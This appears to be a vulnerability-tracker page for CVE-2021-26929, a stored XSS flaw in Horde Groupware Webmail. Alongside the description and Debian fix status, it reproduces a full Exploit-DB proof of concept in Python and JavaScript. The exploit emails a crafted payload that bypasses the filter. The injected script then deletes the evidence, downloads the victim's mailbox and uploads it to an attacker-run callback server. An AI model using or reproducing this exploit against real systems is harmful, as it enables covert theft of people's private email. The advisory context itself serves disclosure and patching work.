CVE-2021-26929

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

An XSS issue was discovered in Horde Groupware Webmail Edition through 5.2.22 (where the Horde_Text_Filter library before 2.3.7 is used). The attacker can send a plain text e-mail message, with JavaScript encoded as a link or email that is mishandled by preProcess in Text2html.php, because bespoke use of \x00\x00\x00 and \x01\x01\x01 interferes with XSS defenses.

Predictions

Exploit likelihood
20%
Patch ETA

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Exploits

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Exploit-DB

EDB-49769 webapps multiple python · 11 KB
nu11secur1ty · 2021-04-15

Horde Groupware Webmail 5.2.22 - Stored XSS

python exploit Source: Exploit-DB
# Exploit Title: Horde Groupware Webmail 5.2.22 - Stored XSS
# Author: Alex Birnberg
# Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty
# Date: 04.14.2021
# Vendor: https://www.horde.org/apps/webmail
# Link: https://github.com/horde/webmail/releases
# CVE: CVE-2021-26929

[+] Exploit Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929

[Exploit Program Code]

#!/usr/bin/python3
# Author idea: Alex Birnberg
# debug nu11secur1ty 2021
import io
import os
import ssl
import sys
import json
import base64
import string
import random
import logging
import smtplib
import sqlite3
import hashlib
import zipfile
import argparse
from flask import Flask, request, Response
from urllib.parse import urlparse

class Exploit:
    def __init__(self, args):
        # Database
        if not os.path.exists('database.db'):
            with sqlite3.connect("database.db") as conn:
                cursor = conn.cursor()
                cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);')
                conn.commit()
        # SMTP URL
        o = urlparse(args.smtp)
        self.smtp = {
            'ssl': o.scheme.lower() == 'smtps',
            'host': o.hostname or '127.0.0.1',
            'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'),
            'username': '' or o.username,
            'password': '' or o.password
        }
        try:
            if self.smtp['ssl']:
                context = ssl.create_default_context()
                context.verify_mode = ssl.CERT_OPTIONAL 
                context.check_hostname = False
                self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context)
            else:
                self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port'])
        except Exception as e:
            print(e)
            print('[-] Error connecting to SMTP server!')
            exit()
        try:
            self.server.login(self.smtp['username'], self.smtp['password'])
        except:
            pass
        # Callback URL
        o = urlparse(args.callback)
        self.callback = {
            'url': '{}://{}'.format(o.scheme, o.netloc),
            'path': ''.join(random.choice(string.ascii_letters) for i in range(20))
        }
        # Listener URL
        o = urlparse(args.listener)
        self.listener = {
            'ssl': o.scheme.lower() == 'https',
            'host': o.hostname or '0.0.0.0',
            'port': o.port or 80,
            'horde': ''.join(random.choice(string.ascii_letters) for i in range(20))
        }
        # Target email
        self.target = args.target
        # Subject
        self.subject = args.subject or 'Important Message'
        # Environment
        self.env = {}
        self.env['mailbox'] = args.mailbox or 'INBOX'
        self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path'])
    
    def trigger(self):
        print('[*] Waiting for emails...')
        self.bypass_auth()        
        print('\n[*] Done')

    def bypass_auth(self):
        def horde():
            f = open('horde.js')
            content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read())
            f.close()
            return content

        def callback():
            response = Response('')
            with sqlite3.connect("database.db") as conn:
                try:
                    if request.files.get('mbox'):
                        filename = request.files.get('mbox').filename.replace('zip', 'mbox')
                        content = request.files.get('mbox').stream.read()
                        zipdata = io.BytesIO()
                        zipdata.write(content)
                        content = zipfile.ZipFile(zipdata)
                        content = content.open(filename).read()
                        mail_hash =  hashlib.sha1(content).digest().hex()
                        print('[+] Received mailbox ({})'.format(mail_hash))                        
                        cursor = conn.cursor()                    
                        cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content))
                except:
                    pass
            response.headers['Access-Control-Allow-Origin'] = '*'
            return response

        payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde'])
        payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target)
        # The secret services :)
        content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        self.server.sendmail(self.smtp['username'], self.target, content)
        app = Flask(__name__)
        app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde)
        app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST'])
        logging.getLogger('werkzeug').setLevel(logging.ERROR)
        cli = sys.modules['flask.cli']
        cli.show_server_banner = lambda *x: None
        try:
            if self.listener['ssl']:
                app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
            else:
                app.run(host=self.listener['host'], port=self.listener['port'])
        except:
            pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL')
    parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL')
    parser.add_argument('--listener', help='Listener URL', metavar='URL')
    parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL')
    parser.add_argument('--subject', help='Email subject', metavar='SUBJECT')
    parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX')
    args = parser.parse_args()
    exploit = Exploit(args)
    exploit.trigger()
horde.js

class Exploit {
    constructor() {
        this.basepath = document.location.pathname.substring(0, document.location.pathname.indexOf('imp'));
    }

    trigger() {
        this.mailbox = this.get_mailbox();
        this.buid = this.get_buid();
        this.token = this.get_token();
        this.auto_delete()
        .then(() => {
            this.exfiltrate_emails({mailbox: env.mailbox});
        });
    }

    async auto_delete() {
        let params = new URLSearchParams()
        params.append('token', this.token);
        params.append('view', this.mailbox);
        params.append('buid', this.buid);
        return fetch(this.basepath + 'services/ajax.php/imp/deleteMessages', {
            method: 'POST',
            body: params
        })
        .then(() => {
            let params = new URLSearchParams();
            params.append('token', this.token);
            params.append('view', this.mailbox);
            return fetch(this.basepath + 'services/ajax.php/imp/purgeDeleted', {
                method: 'POST',
                body: params
            })
            .then(() => {
                if (document.getElementById('checkmaillink') !== null) {
                    document.getElementById('checkmaillink').click();
                }
            });
        });
    }

    async exfiltrate_emails(args) {
        let mbox_list = '["' + this.get_mailbox() + '"]';
        if (args.mailbox.toUpperCase() != 'INBOX') {
            let params = new URLSearchParams();
            params.append('reload', '1');
            params.append('unsub', '1');
            params.append('token', this.token);
            let mailboxes = await fetch(this.basepath + 'services/ajax.php/imp/listMailboxes', {
                method: 'POST',
                body: params
            })
            .then(response => {
                return response.text();
            })
            .then(data => {
                return JSON.parse(data.substring(10, data.length - 2));       
            });
            mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => {
                if (mailbox.l.toUpperCase() == args.mailbox) {
                    if (mbox_list === undefined) {
                        mbox_list = '["' + mailbox.m + '"]';
                    }
                }
            });
        }
        let zip = await fetch(this.basepath + 'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list + '&type=mboxzip&token=' + this.token + '&fn=/')
        .then(response => {
            return [response.blob(), response.headers.get('Content-Disposition')];
        });
        let filename = zip[1];
        filename = filename.substring(filename.indexOf('filename="') + 10, filename.length - 1);
        zip = await zip[0];
        let formData = new FormData();
        formData.append('mbox', zip, filename);
        fetch(window.env.callback, {
            method: 'POST',
            body: formData
        });
    }

    get_token() {
        let link;
        let token;
        if (document.getElementsByClassName('smartmobile-logout').length > 0) {
            link = document.getElementsByClassName('smartmobile-logout')[0].href;
        }
        else if (document.getElementById('horde-logout') !== null) {
            link = document.getElementById('horde-logout').getElementsByTagName('a')[0].href;
        }
        else {
            link = location.href;
        }
        if (link.match('horde_logout_token=(.*)&') !== null) {
            token = link.match('horde_logout_token=(.*)&')[1];
        }
        if (token === undefined && link.match('token=(.*)&') !== null) {
            token = link.match('token=(.*)&')[1];
        }
        return token;
    }

    get_mailbox() {
        if (window.DimpBase !== undefined) {
            return DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({
                VP_id: {
                    equal: [ DimpBase.pp.VP_id ]
                }
            }).get('dataob').first().VP_view;
        }
        else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {
            return location.href.match('mailbox=([A-Za-z0-9]*)')[1];
        }
        else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {
            return location.href.match('mbox=([A-Za-z0-9]*)')[1];
        }
    }

    get_buid() {
        if (location.href.match('buid=([0-9]*)') !== null) {
            return location.href.match('buid=([0-9]*)')[1];
        }
        else if (location.href.match(';([0-9]*)') !== null) {
            return location.href.match(';([0-9]*)')[1];
        }
    }
}

const exploit = new Exploit();
exploit.trigger();

OS impact

debian Debian Fixed 3 releases
VersionStatusFixed in
sid Fixed 2.3.7-1
bullseye Fixed 2.3.7-1
bookworm Fixed 2.3.7-1

References

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